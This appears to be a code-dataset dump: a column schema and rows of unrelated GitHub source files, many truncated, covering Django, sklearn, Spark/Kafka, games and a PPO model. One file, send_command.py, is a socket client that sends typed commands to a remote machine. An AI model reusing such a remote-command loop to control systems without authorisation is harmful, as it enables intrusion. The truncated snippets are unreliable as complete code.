blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
2
283
content_id
stringlengths
40
40
detected_licenses
listlengths
0
91
license_type
stringclasses
2 values
repo_name
stringlengths
3
135
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringlengths
4
68
visit_date
timestamp[ns]date
2015-07-25 20:53:29
2023-09-06 10:46:05
revision_date
timestamp[ns]date
1970-01-01 00:00:00
2037-05-03 13:00:00
committer_date
timestamp[ns]date
1970-01-01 00:00:00
2036-02-09 17:40:36
github_id
int64
1.61k
691M
⌀
star_events_count
int64
0
209k
fork_events_count
int64
0
110k
gha_license_id
stringclasses
24 values
gha_event_created_at
timestamp[ns]date
2012-06-03 10:21:33
2023-09-14 21:59:50
⌀
gha_created_at
timestamp[ns]date
2008-03-27 23:40:48
2023-09-13 22:40:33
⌀
gha_language
stringclasses
250 values
src_encoding
stringclasses
27 values
language
stringclasses
1 value
is_vendor
bool
2 classes
is_generated
bool
2 classes
length_bytes
int64
6
10M
extension
stringclasses
289 values
filename
stringlengths
1
218
content
stringlengths
6
10M
a4f9386cbe42a8f5eb940792e6a73670b15de4bf
c6d0c124341bee3d72b60aca17b3f96b7cde07a7
/PS/Week 3(동전)/BOJ_2293/BOJ_2293_jimin.py
a2a4ce51ce489d6302a6f279ca572483212aebdf
[]
no_license
Gist-Algorithm-Study-We-keep-learning/WKL.github.io
3021ad8ba639e4c41cb04bf5517481d3681c3a41
735af4cdcfd9678205c9e978e07a90c3a0d34969
refs/heads/master
2023-03-21T08:36:43.511583
2021-03-17T15:19:52
2021-03-17T15:19:52
328,656,578
0
0
null
2021-02-07T10:15:14
2021-01-11T12:26:08
C++
UTF-8
Python
false
false
260
py
BOJ_2293_jimin.py
n, k = map(int, input().split()) coin = [] for i in range(n): coin.append(int(input())) dp = [1]+[0]*(k) for i in range(len(coin)): for j in range(coin[i], k+1): dp[j] += dp[j-coin[i]] print(dp) print(dp[k])
f2a410eea812e5f1d37a284836903d19f3e5ab8a
63c5d73d1822e6d777c9b31d108dd3c391edf531
/mysql/mysql_archive/common/python_function.py
b2d8fd9729041b847175112e01cc15dc018984ee
[]
no_license
echoaf/DBARepository
62dc29a3b6b126102b8e7f240bdf407a1041318f
28e45bea53eadc27236edd7bb9487423ce02e199
refs/heads/master
2020-04-02T13:45:19.779511
2019-03-06T06:33:56
2019-03-06T06:33:56
154,495,668
0
0
null
null
null
null
UTF-8
Python
false
false
1,920
py
python_function.py
#!/usr/bin/env python #coding=utf8 import sys import os import time import datetime import commands import logging import MySQLdb import MySQLdb.cursors def connMySQL(sql=None, d=None, is_dict=1): """ d = {'host': host, 'port': port, 'user': user, 'passwd': passwd} """ # MySQLdb Warning升级为Error f...
f21628d1c8c65f192b3e3e391805e157295faff2
e06bbdb632ed5784b2210afa02b083523bde6843
/TP1/tp1.py
3bc92657e0c6f707c39f90ad1d6bd2ec4be5de42
[]
no_license
ezeqzim/machine-learning
b733fc6eee894566a3a5727615000b6151bd7f60
e5aeed86a2a6a83d0dfa2ce596cd43c9d281c03b
refs/heads/master
2021-04-30T22:40:00.562431
2016-12-07T19:07:41
2016-12-07T19:07:41
66,722,767
0
0
null
null
null
null
UTF-8
Python
false
false
9,236
py
tp1.py
### http://scikit-learn.org/stable/modules/model_evaluation.html#scoring-parameter ### import sys import json import numpy as np from sklearn.tree import DecisionTreeClassifier from sklearn.naive_bayes import GaussianNB from sklearn.naive_bayes import MultinomialNB from sklearn.naive_bayes import BernoulliNB from skle...
deef3b189d25c29e04510c90b69dab2afd87d635
1ab25a396389fddb17a1f0b2c61df9ffeeff97c0
/CaffeProject/Demo/Base/SPOCDemo1.py
1ab1656e910da99737ece76dda32ffabc4e9298e
[]
no_license
peternara/remote-sensing-label
ebc0a5a8dc9c140176e0c78b282ad5eecb0d6192
bc261b20e6ba9dec2a9d0fea7b53d587662a722e
refs/heads/master
2020-03-17T12:50:53.486765
2016-09-14T09:11:59
2016-09-14T09:11:59
null
0
0
null
null
null
null
UTF-8
Python
false
false
151
py
SPOCDemo1.py
import pickle f = open("E:\\sun2\\工作\\lab\\computer vision\\CNN\\Spoc-master\\pcaFlickr.dat", 'rb') (avg, sing, pcamat) = pickle.load(f) print(f)
1f07adb2e4c49bcb03ba38a5729707c09fcb2af5
d3fb5fe446de19fc320bf5a7b5e1ed1fe4153d3c
/grouping.py
733aaef670c770eff69fd2e94d58fa0395be6458
[ "MIT" ]
permissive
jacobmetrick/Perk_CSV
11155b50c9ce19539fb1a926d7dc780c58ac6330
4ce027a04cadc50682298443ccb4333bea415801
refs/heads/master
2021-02-11T15:32:47.204825
2020-03-08T12:37:53
2020-03-08T12:37:53
244,505,271
0
0
null
null
null
null
UTF-8
Python
false
false
9,989
py
grouping.py
#!/usr/bin/env python3 import csv import datetime import dateutil.parser as dateparser import io from nameparser import HumanName import re SURVEY_FORMAT = ["submission_date","surveyee_first_name","surveyee_last_name","surveyee_email","surveyee_phone", "surveyee_address1","surveyee_address2","surveyee_city","s...
b8e6209ab6259f29440b46da793fa39851c5fa08
df8bcf93ce5d8044c2c3e5f621df916fa25c7c59
/send_command.py
2068dab4cc4b896cb98468a10050673043eba41e
[]
no_license
nikollasp/send-commands-python
560d34a8d5e1ff547c21f4672904e2e34d599522
288fe9eb73113b423b3bcf8fe60920c482f1e44b
refs/heads/main
2023-08-01T11:51:43.931393
2021-09-15T01:47:04
2021-09-15T01:47:04
406,577,276
0
0
null
null
null
null
UTF-8
Python
false
false
1,178
py
send_command.py
import os from socket import * def automatic(): print("ddddd") def remote(): while (True): Command = input(str("Input: ")) while Command == "": print("Type a command: ") Command = input(str("Input: ")) SockCli.sendall(Command.encod...
891e0a8d88c01184f98c436a73ce44e25d65a771
6a0d42149f8bbe5f7d6cb8103fe557d0d048c832
/tickets/migrations/0002_auto_20200930_2317.py
8c63b95242e07187d00219dfbff68dab67167187
[]
no_license
syfqpipe/product-public
8f3b2f81d0c9fdc61bb5841db1d4d9d26bb618a1
62b918bd9f24b4a47fab04398ca8112268e1e2b1
refs/heads/master
2023-01-22T05:14:19.132567
2020-12-05T03:22:56
2020-12-05T03:22:56
318,689,598
0
0
null
null
null
null
UTF-8
Python
false
false
1,478
py
0002_auto_20200930_2317.py
# Generated by Django 2.2.6 on 2020-09-30 23:17 from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ ('tickets', '0001_initial'), migrations.swappable_dependency(sett...
92b4ebcb7051dce3893d1e183d5d442c94257681
a3b306df800059a5b74975793251a28b8a5f49c7
/thelib/main2d.py~
afcf393fa814a8c5fe4e71ce3b95b12270bce9df
[]
no_license
giacomo21/Image-analysis
dc17ba2b6eb53f48963fad931568576fda4e1349
ea8bafa073de5090bd8f83fb4f5ca16669d0211f
refs/heads/master
2016-09-06T21:42:13.530256
2013-07-22T09:35:56
2013-07-22T09:35:56
11,384,784
1
1
null
null
null
null
UTF-8
Python
false
false
8,263
main2d.py~
import matplotlib.pyplot as plt import numpy as np import matplotlib.cm as cm import scipy.stats cmap = cm.Greys_r import loader import processing import output def test1(conditions, out_folder, conditions_labels = None, mask_label = 'mask', molecule_label = 'molecule'): data = processing.compare_molecule_distribut...
7253c3959d25e0723df85e6c15e8c4a5ccfb0ddb
e821d7973c42b4597928fad5da562e38ae53ba9b
/lab1/test.py
efbfb155b308248cc58fa232042b51dd085077a7
[]
no_license
Zpeugh/NeuralNetworks
fbeaa87051d4a3f11cee4308471263bef8934c49
aa126f0870f1d968e476d7b0e0920ae75dd9adef
refs/heads/master
2021-01-11T17:02:59.279133
2016-11-10T22:34:57
2016-11-10T22:34:57
69,505,787
0
0
null
null
null
null
UTF-8
Python
false
false
1,274
py
test.py
import MLP reload(MLP) import math import numpy as np training_data = [ [[0,0,0,0], [0]], [[0,0,0,1], [1]], [[0,0,1,0], [1]], [[0,0,1,1], [0]], [[0,1,0,0], [1]], [[0,1,0,1], [0]], ...
e76108f0db88542df91930f980ccb53911b22427
fa4bbc13b94e0b91ea040add9d7935d20e7a0ce0
/civictechprojects/migrations/0039_project_full_text.py
8cf959b7a484a42b23e40e6b821683944bebe8dd
[ "MIT" ]
permissive
DemocracyLab/CivicTechExchange
68ce856978fa86aae209ef14e145b0f9cbfa2bc7
50b5a469453c5c93b4aaed6226792d11e8cfa920
refs/heads/master
2023-08-07T18:06:26.686765
2023-08-03T16:26:26
2023-08-03T16:26:26
92,446,896
94
75
MIT
2023-09-12T19:44:47
2017-05-25T21:43:28
JavaScript
UTF-8
Python
false
false
489
py
0039_project_full_text.py
# -*- coding: utf-8 -*- # Generated by Django 1.11.28 on 2020-09-28 14:39 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('civictechprojects', '0038_event_event_organizers_text'), ] operations = [ ...
ca5768d0bfe9c41713da08e1774110f75bc17407
70e424a47aa89915e1ae40e8f7515cf2396a0626
/tests/test_get_situations.py
b4b28f9db3e8af46fde829da11ba72f668b1498a
[ "MIT", "LicenseRef-scancode-unknown-license-reference" ]
permissive
tcosta84/python-bling
a15fdc33a5e5a410363d8d4ce580921f01cd49ef
9ccd001e3a1538e448f184a5cc43bc33c20d7775
refs/heads/master
2023-05-12T00:08:52.685709
2023-04-27T01:02:38
2023-04-27T01:02:38
187,405,029
7
9
MIT
2023-02-11T00:52:47
2019-05-18T21:02:12
Python
UTF-8
Python
false
false
1,055
py
test_get_situations.py
from bling import Api def test_should_call_make_request_with_correct_arguments(mocker): mock_make_request = mocker.patch.object(Api, '_make_request') module = 'Vendas' api = Api(api_key='fake-api-key') resp = api.get_situations(module) mock_make_request.assert_called_with( 'GET', ...
81b0b722b9b6bcc5e968f5ecaf8108a5d1ce28d4
f4b3be2a3955c26b4e05ab162fa4909cf9a14f11
/CRB/validators/subsystems/scicode.py
e0fb122aa9e723ab0274ce36de6ddbf0e0339bf1
[]
no_license
njovujsh/crbdjango
fd1f61403c1fbdac01b1bda5145faeb4b9ef9608
fdf5cc6ca5920a596c5463187d29202719664144
refs/heads/master
2022-12-04T18:13:07.709963
2018-05-14T09:07:47
2018-05-14T09:07:47
133,333,767
0
0
null
2022-11-22T01:44:28
2018-05-14T09:04:17
JavaScript
UTF-8
Python
false
false
10,099
py
scicode.py
from datasetrecords import models from validators.subsystems import enforcement as enfs from validators.subsystems import picode class SCICode(picode.PICode): def __init__(self, scimodel, datacode): super(SCICode, self).__init__(scimodel, datacode) self.modelstatus = True de...
f8954d0dba2bcde4ab8f71509cb60d781617d093
bfcc2c4bc7a8274c92c91a4f5b480d58def3c737
/gram/forms.py
0ddb5b8e77ab25a4bd4383270e53b170bb4a5428
[ "MIT" ]
permissive
JAMAL-MOHAMED-JALDESA-2893/sic-instaClone
9f31936685a89297e3c4a8d089c252fdc670c704
0bb964805db988ee304f78ac785d2e4a6fabb5b1
refs/heads/master
2023-08-22T05:45:12.359778
2021-10-18T22:41:25
2021-10-18T22:41:25
417,483,391
0
0
null
null
null
null
UTF-8
Python
false
false
1,462
py
forms.py
from django import forms from django.contrib.auth.models import User from .models import Image, Profile, Comment from django.contrib.auth.forms import UserCreationForm class RegistrationForm(UserCreationForm): email=forms.EmailField() class Meta: model = User fields = ['username', 'email','pass...
197fe5ef5d71f7ab9cbd86697f7eb2ba9bf9c09f
f90a9de67a3bb216764f98a433296d998460597a
/co2japannocheinmal.py
b29afe04fb228fdf8bcba56dd280c0b0d171255e
[]
no_license
larfan/greenhouse
0ede148d33cd4f6a1b168c178242ca7eb99e0dca
e8c3367da8aeda7056cf9498aebf6ae0ced1a579
refs/heads/master
2020-07-09T00:46:06.827298
2019-11-01T20:20:47
2019-11-01T20:20:47
203,826,528
0
0
null
null
null
null
UTF-8
Python
false
false
1,869
py
co2japannocheinmal.py
import serial import time import subprocess import traceback import argparse##lass argparse drinnen wegen dem Input/Output Error import sys import os.path # setting partial_serial_dev = 'serial0' serial_dev = '/dev/%s' % partial_serial_dev stop_getty = 'sudo systemctl stop serial-getty@%s.service' % partial_serial_...
5be90abe7af1e93ab83888bcb01fd785bcf4dc72
5141a69d85a83a5667b4a3dce4a7b2283fb620af
/class.py
c1cad137304032305be7037c0780624747f2fdd0
[]
no_license
sadeghesfahani/chess
d1432ac166564dcf69c03fb8c4dabe70268ca3b6
02aaffec24f3c5e9c2ee1cfd0717a91afa63422f
refs/heads/main
2023-04-18T03:37:03.692723
2021-05-11T18:17:00
2021-05-11T18:17:00
365,425,886
5
0
null
null
null
null
UTF-8
Python
false
false
1,660
py
class.py
class Calculator: final = 0 last_operator = "" def __init__(self): self.x = float() self.y = float() self.operator = str() self.operators = "+-/*" def calculate(self): self.x = Calculator.final try: self.x = float(input("Enter first number: ...
1284d4e61bf607217c86868ed5c572000ae80e7f
eef30b112fffe0f2d1c554f50dbe46a5767e794f
/IG/genejunc.py
68c5c700bf81e030b820260ef2fd9c0f066893b2
[]
no_license
PazhenkovaEA/VH-replacement-analysis
ddb478630c77c8a1aa9e57aed6684f33faf676b5
ffcc4fd2e28a75ee521aac01e9584a79ef6ca465
refs/heads/master
2021-06-11T05:57:28.899266
2019-06-12T19:24:03
2019-06-12T19:24:03
125,198,296
1
2
null
null
null
null
UTF-8
Python
false
false
4,703
py
genejunc.py
# coding: utf-8 # In[1]: from Bio import SeqIO from Bio.Seq import Seq from Bio.SeqRecord import SeqRecord import pandas as pd import random, sys import numpy as np #Set the frameshifts and stop-codons presence treatment (default = true) try: fr = int(sys.argv[4]) except: fr = 1 try: stop = int(sys.ar...
7600983dfe8573df2046e16b152cc7a8f33e113c
ce5173f32163b2f75107a62f9acf56f73405d909
/bench/test_word_split.py
8ef21202fa882a896b6d38b2a8d96eb39e017bfa
[ "BSD-3-Clause", "BSD-2-Clause" ]
permissive
JEONGSEJIN/kss
96c52ac7a1c16271d78c835b5a1b4a0887aed407
e5ead8c167105d9eefbec7370f45793b4ab147f7
refs/heads/main
2023-02-16T02:04:32.866346
2022-12-27T17:10:11
2022-12-27T17:10:11
330,434,472
1
0
BSD-3-Clause
2021-01-17T16:26:03
2021-01-17T16:26:02
null
UTF-8
Python
false
false
587
py
test_word_split.py
import re from sentence_split import run_evaluate def word_splitter(text): return text.split(" ") if __name__ == "__main__": import argparse parser = argparse.ArgumentParser() parser.add_argument("datasets", nargs="+") parser.add_argument("--write_result") parser.add_argument("--write_err"...
afdb11a5be41ff5d6f47bc09acf85d7b1b166299
c291050ffef6c2fc75540930634ebd6b0b0a7671
/Python course 2020 (basics)/Weight Converter.py
d1abdcce6a9070c49237af8cc546c3e7e26dcf5b
[]
no_license
Campos-Marcus/Python
e92c0398eee5257fc5332f132ff185c68e54502b
c4e6e81845f22367a85ee1b767ac2e07ee7103b2
refs/heads/master
2022-09-11T04:38:27.395413
2020-05-22T17:12:01
2020-05-22T17:12:01
null
0
0
null
null
null
null
UTF-8
Python
false
false
350
py
Weight Converter.py
def conv(a,b): if b == 'l' or 'L': final_value = a * 0.45 elif b == 'K' or 'k': final_value = a * 2.2 else: print("Wrong character") print(f"final value: {final_value}") weight = input("weight: ") measure_unit = input( 'L(bs) or (K)g: ') conv(float(weight), st...
8ff5fd2b1ceb5c4a53938d0dd87a5eb7cf180ad7
96e2e5abba86dad4c30867cb3fcacfb351823a3f
/PLoS_One_Working_Notebook.ipynb.py
bb1a938c9658e5edb345b9c425c29ae273b0bd35
[]
no_license
TimothyElder/plos-one
f0d90e22f99e32922b6865b52ee89c351cebeb97
117210ad62a46d4da775493a8a2aa86326879e71
refs/heads/master
2021-01-25T11:02:28.645262
2018-03-06T04:29:45
2018-03-06T04:29:45
123,379,631
0
0
null
null
null
null
UTF-8
Python
false
false
16,601
py
PLoS_One_Working_Notebook.ipynb.py
# coding: utf-8 # In[ ]: #Special module written for this class #This provides access to data and to helper functions from previous weeks #Make sure you update it before starting this notebook import lucem_illud #pip install -U git+git://github.com/Computational-Content-Analysis-2018/lucem_illud.git #All these pac...
365aa6be32e7fbc1e2749b806322404445e1fdf7
ac27ecf70c4d4bede39524b37c7d6886087b36dc
/08-Encapsulamiento/1-Persona.py
ffb5fc8e4d7dec9538ef7776eababb2fd58d0583
[]
no_license
tiwanacote/Pythonic-2021
b150813db9a1dc1c183c366839bf2be497b324b4
35588381765b2aa7e1ef7a2416e23452f0283eaf
refs/heads/master
2023-04-05T15:41:12.411946
2021-04-04T17:19:08
2021-04-04T17:19:08
null
0
0
null
null
null
null
UTF-8
Python
false
false
560
py
1-Persona.py
class Persona: def __init__(self,nombre): self.__nombre = nombre #Este atributo es privado, dolo se puede modificar desde la clase #Si no uso el __ es un atributo publico def getNombre(self): return(self.__nombre) def setNombre(self,nombre): ...
067402b4ec5b0e99e5354b2203520014d31cf17b
e504bf2a0db30dca9386b48b4beccebcd280e4a1
/BAS/bas_console/server.py
11b8f1875ad1dd3ce231d3e5b22641eb60f914bb
[]
no_license
fabregas/old_projects
264dbf8dcff3ad9983ec2e10b0fa1c4f5ca3f1a8
e6bc6eb747e39dcacf5f3fd0738d82f16ed0f76d
refs/heads/master
2016-09-05T14:21:49.390943
2014-02-04T15:12:10
2014-02-04T15:12:10
null
0
0
null
null
null
null
UTF-8
Python
false
false
790
py
server.py
import wsgiserver import sys from django.core.handlers.wsgi import WSGIHandler from django.conf import settings import signal class DjangoApplication(WSGIHandler): def __init__(self): WSGIHandler.__init__(self) import settings as cust_settings settings.configure(cust_settings) #--------...
1be36a415e761fcf90910478ad871d6dc9dc7ee2
19cd22194af4522618c3e6fd9d4ebbd9533a6a76
/binaryQuest.py
b4c4c41afc7c0a4b9b16b2dd20b62655da0fbd91
[]
no_license
MrGoatMan/The-Great-Space-Venture
0bfa5b11db59325a00694acd4cff3c9c6d010b0f
a49fa90632de82e23dc5bbf717421aa2f853ae45
refs/heads/master
2021-03-08T00:32:32.202033
2020-03-12T14:27:00
2020-03-12T14:27:00
246,306,893
0
0
null
null
null
null
UTF-8
Python
false
false
484
py
binaryQuest.py
class Binary(object): which = bool(False) def __init__(self): self.answer = input("Yes/No?: ") if (self.answer in ["Yes", "yes", "YEs", "YES", "Yea", "yea", "Sure", "sure", "Yeah", "yeah", "Indeed", "indeed", "Ye", "ye"]): Binary.which = True if (self.answer in ["No",...
1f6f2b992d48d2f785d7b340844bc49200556b5f
c71ba3f4cf6544354895d9562908db3df1f021a3
/myknowapp/migrations/0012_auto_20190702_2117.py
7b05b5a4c606094cb377656ece6fcf835e3b9468
[]
no_license
steven7777/myknow
8f5150d76cdde3b6024df3972bec9e0bf7cfa713
15836feb2979ae3c00695e25580004612f2a0db4
refs/heads/master
2020-06-17T20:24:24.163550
2019-07-11T15:44:25
2019-07-11T15:44:25
196,042,646
2
0
null
null
null
null
UTF-8
Python
false
false
771
py
0012_auto_20190702_2117.py
# Generated by Django 2.2.2 on 2019-07-02 21:17 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('myknowapp', '0011_auto_20190702_2112'), ] operations = [ migrations.RenameField( model_name='entity', old_name='is_l...
0891b407048ba1bda3b10d4fdd06332b8bae826f
95afb23e8619a9e8a11da860b736f406e17adc55
/run.py
f4131a908d4b2779424775f3287f5953c4c98552
[]
no_license
Kaidenashun99/Roman_Quiz
edb1dd7097003f533aa2aa7a3c548e1611aa4020
62d4aec322bea89f5e16c5bb81be18fab40aab0e
refs/heads/master
2021-04-15T13:48:08.320684
2018-06-26T16:33:23
2018-06-26T16:33:23
126,817,040
0
0
null
null
null
null
UTF-8
Python
false
false
5,902
py
run.py
import os from flask import Flask, redirect, render_template, request, flash, session import json app = Flask(__name__) app.secret_key = 'some secret' """Functions""" #Get the question data def get_question(index): with open('data/questions.json') as question_data: question = json.loads(question_data.re...
cdd72d347759eb46ae5fc7f134f3f705d98abeda
38b24e273dce990f329a226e871fac71e2fdeee5
/misc/bvirt.py
b9e0229d2f6200340b02365893501b4ebd9fdde0
[]
no_license
mekpro/cloudtop
9d6b6af2661704f121fbed40200d85910e232e59
5a5a342310df334452b8c4816b765ceac0e2e0a2
refs/heads/master
2020-04-01T09:52:55.748295
2012-11-16T10:48:26
2012-11-16T10:48:26
null
0
0
null
null
null
null
UTF-8
Python
false
false
168
py
bvirt.py
import libvirt uri = "qemu+ssh:///system" conn = libvirt.openReadOnly(uri) doms = conn.listDomainsID() dom1 = conn.lookupByID(doms[0]) dom2 = conn.lookupByID(doms[1])
9a39007a0142ee49a4b2f06815938cc51f3a9d88
805f7393b4edce04107bd6b76d7b5010c9566939
/Character_manager/functions/f_createChar.py
10c28c544615dc53d7e8ace34552c33468b8175f
[]
no_license
KanarchiK/Character-Manager
abf0347e541f9324896150fb29205b6c83ad16c0
22337e3f668f9bee212ecfda88512a89e07c366d
refs/heads/master
2020-03-06T23:50:12.174965
2018-03-28T18:45:04
2018-03-28T18:45:04
127,142,584
0
0
null
null
null
null
UTF-8
Python
false
false
2,413
py
f_createChar.py
import tkinter as tk import sys sys.path.insert(0, '../classes') from c_Frames import * from f_Functions import selectListValues def createChar(dir, setup_name, allFrames, lst_weapons, lst_trinkets, lst_effects, lst_spells, lst_helm, lst_chest, lst_hands, lst_boots, dictStats) : def toStr(listParam) : str...
6e581f57474cac66dbccb8dc09824184a97e7067
b134e8abe865d3741589bda61201373181a2145c
/booking_system/booking_system/homepage/models.py
41c8437a0ab01d8e6788f40aaee8e8e16811c1b8
[]
no_license
MorrisSoftware/LaboratoryManager
71ce2f9c0376a9511854b2e57f42341fe0639a35
e7f018eb2eb2bf5a10e15135b78ebd1232ad6b16
refs/heads/master
2020-05-22T00:49:38.363977
2019-05-11T20:45:48
2019-05-11T20:45:48
186,179,701
2
1
null
null
null
null
UTF-8
Python
false
false
897
py
models.py
import uuid from django.db import models class Setting(models.Model): title = models.CharField(max_length=50,help_text='Title displayed on home page') navbar_brand = models.ImageField(upload_to = "homepage",default="img/homepage/logo.png") background_image = models.ImageField(upload_to = "homepage",defaul...
99c738eb1e8e1eb93df4d407670f11874bdeef52
4a0c723d6882fe133052fce8b42c60d5e08bb4d6
/Searching/py/Exponential Search.py
65b79e9338bf077cd8ebc9f1847685c5e48b66cf
[]
no_license
4rvnd/Implementation
ecd8c4b796c6335c9f8e3b2f63a35ecaf176f38b
3ac37353216679a2aa00d7e6391437f16a5fa33f
refs/heads/master
2023-05-01T20:54:34.739604
2021-05-22T13:07:07
2021-05-22T13:07:07
204,160,890
0
0
null
null
null
null
UTF-8
Python
false
false
730
py
Exponential Search.py
def binary_search(arr, first, last, key): mid = (first+last)//2 if (arr[mid] == key): return mid elif (arr[mid] < key): return binary_search(arr, mid+1, last, key) elif (arr[mid] > key): return binary_search(arr, first, mid-1, key) else: ret...
3113997027f689810363a32801af1701cb25e0de
65165f17a529e4a48f04af7ae732d180c8fa6524
/ppo/PPO.py
23d06e9b3f96bbb65e4cd634293620292b4feaae
[]
no_license
unsupervised-summarization/v1.1
e2184d5b5cd0686cb58337b4f94c1e468b1a900f
9e811d5df4ad250bb1af98799fdddc45b05122c1
refs/heads/main
2023-05-07T17:33:49.282600
2021-06-03T10:16:56
2021-06-03T10:16:56
370,247,969
0
0
null
null
null
null
UTF-8
Python
false
false
6,478
py
PPO.py
import torch import torch.nn as nn from torch.distributions import Categorical from .model import load_actor_model, load_critic_model from .utils import wrap_into_batch, fancy, tensor_to_list # set device to cpu or cuda if torch.cuda.is_available(): device = torch.device('cuda') torch.cuda.empty_cache() ...
29c2f3545aef67c8dca62bc38d9add5a4767f817
50e375bdc8affc1a8c09aa567a740fa19df7d5a6
/spark2kafka.py
567fbfbd0698291b09d201b09a29932d28290618
[]
no_license
michTalebzadeh/SparkStructuredStreaming
ca7a257626e251c7b03a9844cfd229fa8ea95af5
87ef34ffe52061fcbb4f22fcd97764037717696a
refs/heads/master
2023-07-13T00:49:10.753863
2021-07-12T16:39:50
2021-07-12T16:39:50
364,826,528
0
0
null
null
null
null
UTF-8
Python
false
false
3,558
py
spark2kafka.py
from pyspark.sql import * from pyspark.sql.functions import * from pyspark.sql.types import StructType, StringType, IntegerType, FloatType, TimestampType import os import locale locale.setlocale(locale.LC_ALL, 'it_IT') import pyspark.sql.functions as F import uuid spark = (SparkSession .builder .m...
93f2984311537b7657576d1aa2dba1b9cacd2c6e
24c88dafbe0176c04c21b5f37fe377b154afc9ed
/setup.py
ba9df1f93c21461308616bd3597bcb0bc2a8804d
[ "MIT" ]
permissive
Wblossom/fdet
7e402066b96e6f58549d4cf2829ee921bc620e66
6615fe1ef7a13c431dc5f0ef8847b587fc3735dd
refs/heads/master
2022-12-16T18:53:38.355113
2020-05-15T07:16:08
2020-05-15T07:16:08
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,030
py
setup.py
"""The setup script""" from setuptools import setup, find_packages AUTHOR = 'Antonio C. Nazare Jr.' EMAIL = 'antonio.nazare@dcc.ufmg.br' VERSION = '0.2.1' setup( name='fdet', version=VERSION, author=AUTHOR, author_email=EMAIL, maintainer=AUTHOR, maintainer_email=EMAIL, url='http://github....
5171059580b00fb90182aa653bddbbf745ce934a
e36dae94c7a8e905a2ee2d70ea1cfd244d76082c
/prestadores/views.py
6eade87e798a610d86354400c0793a49cfac41df
[]
no_license
silvontavares/App_cuidados
d90e37ed50ccfd511e3898a53b751125accd5ac6
de57eb676912de0d8fff4cf6c8add501aef3e242
refs/heads/master
2023-07-17T23:57:11.090525
2020-06-17T04:51:34
2020-06-17T04:51:34
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,858
py
views.py
from django.shortcuts import render from django.shortcuts import redirect from usuarios.models import User # Create your views here. from .models import PrestadorPessoaFisica from .forms import PrestadorPessoaFisicaForm, DadosPessoaisForm from django.shortcuts import get_object_or_404 from django.core import serialize...
d856f9ea89d95ec52986a4e3f848084b222aba9d
fecfbd42c27eb53ccadd654b83722fbf57aac772
/app/tasks/dog_breeds_ingest.py
6c7097cbb78ee41e854c2989bd5fde2df639f66a
[]
no_license
lucasgnavarro/spark-aoe
a29586435e7334f02f0dc54ece63730b03efe822
e0412adc6e0f6ba5193ab7bd4a23c0a09d5324d7
refs/heads/main
2023-03-09T07:15:55.744978
2021-02-19T12:30:51
2021-02-19T12:30:51
333,740,800
0
0
null
null
null
null
UTF-8
Python
false
false
1,238
py
dog_breeds_ingest.py
import requests from app.logging import logger from app.clients.exceptions import HttpServiceException from app.clients.dogceo import fetch_dog_breeds from app.database.engine import session_scope from app.services.dog_service import create_dog_breed def handler(event, context): dog_breeds = None try: ...
3e33925e9bbbef53e8e063e50174c09f32ebc27e
7af1c6f8200fa075a7204cadcb4cd174c4abf331
/postMakerAndSigner.py
c309736da37bf388406382da9026dafc5ed8dbba
[ "MIT" ]
permissive
basilthebeagles/LedgerBoard
21603d6035aaf62a4b5ae52567bc73e558343dfc
e8db1a5f3bb805b38028f92e98d26f6465257cf8
refs/heads/master
2021-09-08T20:15:12.429783
2021-08-28T16:55:45
2021-08-28T16:55:45
92,089,549
0
0
null
null
null
null
UTF-8
Python
false
false
3,193
py
postMakerAndSigner.py
#! /usr/bin/env python import ecdsa import time import hashlib import requests import sys import socket from datetime import datetime, timezone while True: choice = input("\nChoose from the following:\n[1] Generate key pair \n[2] Sign and send message\n[3] Exit ") if choice == '1': sk = ecdsa.Sig...
fcb68bf23dc89109ec6d9168c0d1881c31f5f936
37f5f550a0379fa455c9c194d4fb9c62545a096b
/ui.py
8ee4d60d9d56430b51b5e4ee9e79d69ec8837aa2
[]
no_license
benoit2600/KeepTalkingNobodyExplodes
52fbd21a2d44797150aef569b2d294db42e9a78e
001e941fb1f279d88abdb130a3a4b147ab6479a7
refs/heads/master
2022-12-24T14:12:36.056211
2020-09-27T21:05:46
2020-09-27T21:05:46
299,113,998
10
0
null
null
null
null
UTF-8
Python
false
false
2,265
py
ui.py
# Génération de l'UI from PyQt5 import QtCore from PyQt5.QtGui import QFont, QFontDatabase from PyQt5.QtWidgets import (QPushButton, QSizePolicy, QHBoxLayout, QVBoxLayout, QLineEdit) import ScreenGame def initUi(self): self.setWindowTitle("Bombe") fontDB = QFontDatabase() fon...
22a9f5d264916f22886616cad318f8a2000d6e49
91b114a0c423a664a84826f09f0c9a7fba8b01d6
/Jogo_da_velha.py
8524319830ed5ec239bd4bf057d1b29569a9b947
[]
no_license
jgbpedro/JogoDaVelhaPython
8abe64d5f5905d1eb8a1bf6c99f91ab0b3bef3ee
784739252641ada5ecbe57a46681e98d14d9ebab
refs/heads/master
2020-03-26T20:23:42.095635
2018-08-19T16:55:09
2018-08-19T16:55:09
145,321,350
0
0
null
null
null
null
UTF-8
Python
false
false
5,383
py
Jogo_da_velha.py
#José Guilherme @Development #Jogo da Velha 1.0 def adcNaMatriz(Px, Py, simbolo): #Adiciona o simbolo na posição digitada, caso ñ esteja ocupada if(Py == "A"): z [Px] = simbolo if(Py == "B"): y [Px] = simbolo if(Py == "C"): x [Px] = simbolo def Verificador(px, py, simbolo, jogad...
0f0da952c19732066199d53c6875949706904cb8
6f6e4a0e5132f6f85883db4d26f0e7bae298bdad
/mysite/news/admin.py
7ac1269f8ffb5585906122e014ba8212a3d7f660
[]
no_license
LQ645218172/Django_test
ab8848eab9280b998e6963fac059e09a7f9278d0
6c33b2ffda05e1fd4441ba9cb5866493973fe2f8
refs/heads/master
2023-02-17T13:20:59.895236
2021-01-11T14:57:40
2021-01-11T14:57:40
328,655,054
0
0
null
null
null
null
UTF-8
Python
false
false
190
py
admin.py
from django.contrib import admin from django.contrib import admin from . import models admin.site.register(models.Article) admin.site.register(models.Reporter) # Register your models here.
0db4fe7543fec0507c374dcfd43e803b4b4d39f3
56a0fc8cbc3a716d443d1ee80abff1b344ea74b5
/src/dungeonsheets/features/races.py
a136189c107ae11d537b049563d57461a8bcf3f6
[]
no_license
LTSchmiddy/dungeon-commander
